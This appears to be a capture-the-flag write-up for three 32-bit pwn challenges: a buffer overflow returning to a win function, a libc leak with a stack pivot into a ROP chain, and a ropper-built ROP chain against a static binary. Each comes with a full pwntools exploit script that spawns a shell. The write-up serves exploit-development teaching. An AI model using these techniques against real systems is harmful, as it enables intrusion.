This was the CTFs first pwn challenge. The binary contains an arbitrary buffer overrun and contains a win function. The binary isn't position independent, so we can simply overflow and return to shell. Exploit:
from pwn import *
p = remote("localhost", 7000)
payload = "A"*62 + p32(0x080484d6)
p.sendline(payload)
p.interactive()
This challenge was much harder, with only 2 solves over the course of the CTF. This time, we aren't given a win function, but are instead provided the libc running on the server. The binary still contains the same trivial stack overflow:
Our goal is to leak a libc address, and get back to a point where we can overwrite a return address. A first approach could be to jump to puts
in the .plt
, however we aren't able to do this because the address contains a \x20
byte which will break our string as it is passed through a call to scanf
.
So instead we can jump to the call to puts
present in main
. This has the added advantage of positioning us right before another call to the vulnerable scanf
call.
I tried something like this:
from pwn import *
p = process("./bbbb", env={"LD_PRELOAD": "./libc6-i386_2.27-3ubuntu1_amd64.so"})
gdb.attach(p,'''
b *0x8048649
''')
payload = "A"*62 + p32(0x804861d) + p32(0x8049fe8)
p.recvline()
p.sendline(payload)
leak = p.recvline()
leak = u32(leak[:4])
libc_base = leak - 0x67360
print hex(libc_base)
p.interactive()
This gives us ourlibc leak, however messes with the stack alignment and causes segmentation faults int he subsequent call to scanf
. This happens because, as main returns, it does a pop ecx; pop ebx; pop ebp; ret
. So we inadvertenly change (or have control of, depending on how you think about it) a few registers and the stack frame. Rather than try to figure out what effect this had explicitly, I placed a few different letters in my buffer to see where the components of my payload trickled through to. If we make the payload something like this:
payload = "A"*50 + "BBBBCCCCDDDD" + p32(0x804861d) + p32(0x8049fe8)
and run this exploit again, we can check out where the program crashes in gdb to get a better idea of what we might need to change
The first crash we come across is in _IO_vfscanf
at the instruction movzx eax, BYTE PTR [ebx]
. At this time, we have $ebx == 0x43432a57
. If we assume a read is being done at some offset from the Cs in our buffer, we can try substituting them with a writeable address to get past the crash. 0x0804a400
is a good candidate as it is the middle of a rw
page. Now with a payload of:
payload = "A"*50 + "BBBB" + p32(0x0804a400) + "DDDD" + p32(0x804861d) + p32(0x8049fe8)
This gets us through the scanf and back to the end of main. However here we encounter another crash on instruction pop ecx
with $esp == 0x4444443c
. So it appears the stack is pivoted according to whatever we have in place of "DDDD". Replacing that with a rw address does indeed see the instruction pointer jump into writable memory.
So we're close, we just need to be able write to a determined address in memory. Luckily, it turns out the "DDDD" slot is also passed as the argument to the second scanf
call, so in theory we can both write a rop chain and jump to it by writing the one address. In practise however, it doesnt work. I got a bit stuck at this point, and ended up analysing the values of registers after the two calls to scanf. Ultimately, I found that where I had a value of 0x804a400
, the value was ending up in the ebx
register. After the first successful call however, its value was 0x8049fcc
. Replacing this element of my payload had me successfully jumping to the start of my second input.
From here, we write a rop chain in our buffer and jump to it.
Full exploit:
from pwn import *
p = process("./bbbb", env={"LD_PRELOAD": "./libc6-i386_2.27-3ubuntu1_amd64.so"})
payload = "A"*54 + p32(0x8049fcc) + p32(0x804a800) + p32(0x804861d) + p32(0x8049fe8)
print p.recvline()
p.sendline(payload)
leak = p.recvline()
leak = u32(leak[:4])
print hex(leak)
libc_base = leak - 0x67360
print hex(libc_base)
payload = 'A'*62
payload += p32(libc_base + 0x00001aae) # pop edx ; ret
payload += p32(libc_base + 0x001d5040) # @ .data
payload += p32(libc_base + 0x00024a67) # pop eax ; ret
payload += '/bin'
payload += p32(libc_base + 0x00074be5) # mov dword ptr [edx], eax ; ret
payload += p32(libc_base + 0x00001aae) # pop edx ; ret
payload += p32(libc_base + 0x001d5044) # @ .data + 4
payload += p32(libc_base + 0x00024a67) # pop eax ; ret
payload += '//sh'
payload += p32(libc_base + 0x00074be5) # mov dword ptr [edx], eax ; ret
payload += p32(libc_base + 0x00001aae) # pop edx ; ret
payload += p32(libc_base + 0x001d5048) # @ .data + 8
payload += p32(libc_base + 0x0002e045) # xor eax, eax ; ret
payload += p32(libc_base + 0x00074be5) # mov dword ptr [edx], eax ; ret
payload += p32(libc_base + 0x00018be5) # pop ebx ; ret
payload += p32(libc_base + 0x001d5040) # @ .data
payload += p32(libc_base + 0x00193908) # pop ecx ; ret
payload += p32(libc_base + 0x001d5048) # @ .data + 8
payload += p32(libc_base + 0x00001aae) # pop edx ; ret
payload += p32(libc_base + 0x001d5048) # @ .data + 8
payload += p32(libc_base + 0x0002e045) # xor eax, eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00024a48) # inc eax ; ret
payload += p32(libc_base + 0x00002d37) # int 0x80
p.sendline(payload)
p.interactive()
This challenge was much easier than the last. We are provided with a statically linked binary, containing a trivial buffer overflow. We can simply generate a rop chain with ropper, and write in past the buffer for shell.
Full exploit:
from pwn import *
p = process("./cccc")
junk = "A"*62
IMAGE_BASE_0 = 0x08048000
rebase_0 = lambda x : p32(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += '//bi'
rop += rebase_0(0x00001a7b) # 0x08049a7b: pop edi; ret;
rop += rebase_0(0x00091000)
rop += rebase_0(0x00056fa1) # 0x0809efa1: mov dword ptr [edi], ebx; pop ebx; pop esi; pop edi; ret;
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += 'n/sh'
rop += rebase_0(0x00001a7b) # 0x08049a7b: pop edi; ret;
rop += rebase_0(0x00091004)
rop += rebase_0(0x00056fa1) # 0x0809efa1: mov dword ptr [edi], ebx; pop ebx; pop esi; pop edi; ret;
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += p32(0x00000000)
rop += rebase_0(0x00001a7b) # 0x08049a7b: pop edi; ret;
rop += rebase_0(0x00091008)
rop += rebase_0(0x00056fa1) # 0x0809efa1: mov dword ptr [edi], ebx; pop ebx; pop esi; pop edi; ret;
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += p32(0xdeadbeef)
rop += rebase_0(0x000269b2) # 0x0806e9b2: pop ecx; pop ebx; ret;
rop += rebase_0(0x00091008)
rop += p32(0xdeadbeef)
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x00091000)
rop += rebase_0(0x0002698b) # 0x0806e98b: pop edx; ret;
rop += rebase_0(0x00091008)
rop += rebase_0(0x0000034c) # 0x0804834c: pop ebp; ret;
rop += p32(0x0000000b)
rop += rebase_0(0x00011ce9) # 0x08059ce9: xchg eax, ebp; ret;
rop += rebase_0(0x000272c0) # 0x0806f2c0: int 0x80; ret;
payload = junk + rop
p.sendline(payload)
p.interactive()